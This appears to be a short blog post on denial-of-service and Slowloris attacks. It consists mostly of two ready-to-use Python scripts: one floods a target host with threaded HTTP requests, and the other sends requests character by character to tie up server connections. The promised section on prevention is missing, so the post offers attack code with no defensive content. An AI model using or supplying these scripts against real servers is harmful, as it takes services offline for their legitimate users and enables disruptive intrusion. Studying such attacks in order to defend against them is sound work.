DENIAL OF SERVICE
SLOW LORIS ATTACK
TOPICS DISCUSSED:--
- DENIAL OF SERVICE ATTACK
- SLOW LORIS ATTACK
- PREVENTING SLOW LORIS
WHAT IS DENIAL OF SERVICE ATTACK?
a denial-of-service attack (DoS attack) is a cyber-attack where server is made unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to a network.
done by flooding the targeted machine with many requests in an attempt to overload systems and prevent some or all legitimate requests from being fulfilled.
PYTHON PROGRAM TO DOS--this program is just an illustration on working of dos attack
______________________________________________________________________
import socket
import time
import threading
requests = """GET / HTTP/1.1
Host: HOSTNAME
"""
def slowl():
s = socket.socket()
s.connect(("HOSTNAME", 80))
s.send(requests.encode())
print(s.recv(1024))
s.close()
for i in range(100000):
send_thread = threading.Thread(target=slowl)
send_thread.start()
time.sleep(0.5)
EXPLANATION:
when we call the function a socket is created and connects to the target and sends the request to the server server .
This is effective when threading is applied. so now at a time multiple connections are created and request is sent to the server. so the server is kept busy with the requests and hence a DOS attack
_________________________________________________________________________________
WHAT IS SLOW LORIS ATTACK?
import socket
import time
import threading
req = """GET / HTTP/1.1
Host: HOSTNAME
"""
#list of words in the request
reql = list(req)
print(reql)
def slowl():
#creating a socket amd connecting to the server
s = socket.socket()
s.connect(("HOSTNAME", 80))
#sending the request bit by bit
for i in reql:
s.send(i.encode())
#waiting for .5 sec to pass
time.sleep(.5)
print(s.recv(1024))
s.close()
for i in range(1000):
#creating threads
send_thread = threading.Thread(target=slowl)
send_thread.start()
#waiting 1 sec to create another thread.
time.sleep(1)
Comments
Post a Comment